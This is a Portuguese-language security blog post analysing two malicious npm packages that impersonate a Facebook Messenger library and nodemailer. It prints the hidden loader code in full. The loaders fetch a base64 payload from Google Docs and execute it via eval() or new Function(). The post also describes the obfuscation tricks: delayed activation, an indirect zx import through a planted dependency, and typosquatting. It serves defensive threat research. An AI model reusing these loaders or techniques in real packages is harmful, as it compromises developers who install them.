Em 14 de março de 2025, detectámos um pacote malicioso no npm chamado node-facebook-messenger-api
. No início, parecia ser um malware bastante comum, embora não conseguíssemos perceber qual era o objetivo final. Não pensámos muito mais nisso até 3 de abril de 2025, quando vimos o mesmo agente de ameaça expandir o seu ataque. Esta é uma breve visão geral das técnicas utilizadas por este atacante específico, e algumas observações divertidas sobre como as suas tentativas de ofuscação acabam por torná-las ainda mais óbvias.
TLDR
node-facebook-messenger-api@4.1.0
disfarçado de uma capa legítima do Facebook messenger.áxis
e eval()
para obter uma carga útil de um link do Google Docs - mas o ficheiro estava vazio.zx
para evitar a deteção, incorporando lógica maliciosa que é activada dias após a publicação.node-smtp-mailer@6.10.0
, fazendo-se passar por nodemailer
com a mesma lógica e ofuscação C2.hiper-tipos
), revelando uma clara padrão de assinatura que ligam os ataques.
Primeiros passos
Tudo começou no dia 14 de março, às 04:37 UTC, quando os nossos sistemas nos alertaram para um pacote suspeito. Foi publicado pelo utilizador victor.ben0825
, que também afirma ter o nome perusworld
. Este é o nome de utilizador do utilizador que possui o repositório legítimo para esta biblioteca.

Aqui está o código que detectou como sendo malicioso em node-facebook-messenger-api@4.1.0:
, no ficheiro messenger.js
, linha 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
O atacante tentou esconder este código num ficheiro com 769 linhas, que é uma classe grande. Aqui adicionaram uma função e estão a chamá-la diretamente. Muito giro, mas também muito óbvio. Tentámos obter o payload, mas estava vazio. Marcámo-lo como malware e seguimos em frente.
Poucos minutos depois, o atacante lançou outra versão, a 4.1.1. A única alteração parece ter sido no README.md
e package.json
onde alteraram a versão, a descrição e as instruções de instalação. Como marcamos o autor como um mau autor, os pacotes a partir deste ponto foram automaticamente marcados como malware.
A tentar ser sorrateiro
Depois, no dia 20 de março de 2025, às 16:29 UTC, o nosso sistema assinalou automaticamente a versão 4.1.2
do pacote. Vejamos o que há de novo. A primeira alteração está em node-facebook-messenger-api.js,
que contém:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
A alteração a este ficheiro é a última linha. Não se trata apenas de importar o ficheiro messenger.js
quando solicitado, é sempre feito quando o módulo é importado. Muito inteligente! A outra alteração é a desse ficheiro, messenger.js.
Removeu o código adicionado anteriormente visto e adicionou o seguinte nas linhas 197 a 219:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Eis um resumo do que faz:
- Utiliza uma verificação baseada no tempo para determinar se o código malicioso deve ser ativado. Só seria ativado cerca de 4 dias depois.
- Em vez de utilizar
áxis
, utiliza agora o Googlezx
para ir buscar o payload malicioso. - Desactiva o modo detalhado, que é também a predefinição.
- De seguida, vai buscar o código malicioso
- Ele decodifica-o na base64
- Ele cria uma nova Function usando o
Função()
que é efetivamente equivalente a um construtoreval()
chamada. - Em seguida, chama a função, passando
exigir
como argumento.
Mas, mais uma vez, quando tentamos ir buscar o ficheiro, não obtemos uma carga útil. Apenas obtemos um ficheiro vazio chamado info.txt.
A utilização de zx
é curioso. Olhámos para as dependências e reparámos que o pacote original continha algumas dependências:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
O pacote malicioso contém o seguinte:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Vejam só, acrescentaram os hiper-tipos de dependência. Muito interessante, voltaremos a este assunto mais algumas vezes.
Eles atacam de novo!
Depois, a 3 de abril de 2025 às 06:46, um novo pacote foi lançado pelo utilizador cristr.
Lançaram oe pacote
node-smtp-mailer@6.10.0.
Os nossos sistemas assinalaram-no automaticamente por conter código potencialmente malicioso. Olhámos para ele e ficámos um pouco entusiasmados. O pacote finge ser nodemailer,
apenas com um nome diferente.

O nosso sistema assinalou o ficheiro lib/smtp-pool/index.js.
Vemos rapidamente que o atacante adicionou código na parte inferior do ficheiro legítimo, mesmo antes do final módulo.exportações
. Eis o que é acrescentado:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Nós conhecemos este código! Tem novamente um registo de data e hora para ser executado apenas 4 dias depois. Tentámos entusiasticamente ir buscar a carga útil, mas apenas recebemos um ficheiro vazio chamado beginner.txt.
Que pena! Olhamos novamente para as dependências, para ver como estão a puxar zx
. Constatámos que o legítimo nodemailer
pacote tem não direto dependências
, apenas devDependências
. Mas eis o que está no pacote malicioso:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Vê alguma semelhança entre este e o primeiro pacote que detectámos? É a mesma lista de dependências. O pacote legítimo não tem dependências, mas o malicioso tem. O atacante simplesmente copiou a lista completa de dependências do primeiro ataque para este.
Dependências interessantes
Então, porque é que deixaram de utilizar áxis
para zx
para fazer HTTP
pedidos? Sem dúvida, para evitar a deteção. Mas o que é interessante é que zx
não é uma dependência direta. Em vez disso, o atacante incluiu hyper-types, que é um pacote legítimo do desenvolvedor lukasbach.

Para além do facto de o repositório referenciado já não existir, há algo interessante a notar aqui. Veja como há 2 dependentes
? Adivinhem quem são.

Se o atacante quisesse realmente tentar ofuscar sua atividade, é muito estúpido depender de um pacote do qual ele é o único dependente.
Palavras finais
Embora o atacante por trás desses pacotes npm não tenha conseguido entregar uma carga útil funcional, sua campanha destaca a evolução contínua das ameaças à cadeia de suprimentos que visam o ecossistema JavaScript. O uso de execução atrasada, importações indiretas e sequestro de dependências mostra uma conscientização crescente dos mecanismos de deteção - e uma vontade de experimentar. Mas também mostra como a segurança operacional descuidada e os padrões repetidos ainda podem denunciá-los. Para os defensores, é um lembrete de que mesmo os ataques falhados são informações valiosas. Cada artefacto, truque de ofuscação e dependência reutilizada ajuda-nos a criar melhores capacidades de deteção e atribuição. E, mais importante, reforça a razão pela qual a monitorização contínua e a sinalização automática de registos de pacotes públicos já não é opcional - é fundamental.